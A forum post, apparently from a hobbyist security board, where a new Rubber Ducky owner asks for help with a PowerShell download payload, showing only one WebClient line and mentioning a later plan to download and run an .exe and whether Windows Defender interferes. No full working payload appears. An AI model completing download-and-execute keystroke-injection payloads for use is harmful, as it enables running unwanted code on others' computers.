Jump to content

RubberDucky Powershell Download and Execute

Recommended Posts

Hello everyone,

I bought myself a Rubber Ducky a Week ago and I really love creating Payloads 🙂

However im having a bit trouble with a specific payload, im using the following code to download a picture from the internet:


$WebClient = New-Object System.Net.WebClient
As File Upload-Service im using Workupload and so far I tried it with downloading a picture. Everything works perfectly fine, powershell downloads the picture and closes itself.
But for some reasons I just cant open the picture, and I cant really find out why...
Do I need to put in Delays until the Download is finished? Is Windows-Defender blocking something? Is my Code outdated?
Later on I wanna try it with a .exe file and execute it, but thats seems far too complicated as for now.
Would appreciate any help, have a good one! 🙂


Link to post
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    No registered users viewing this page.

  • Create New...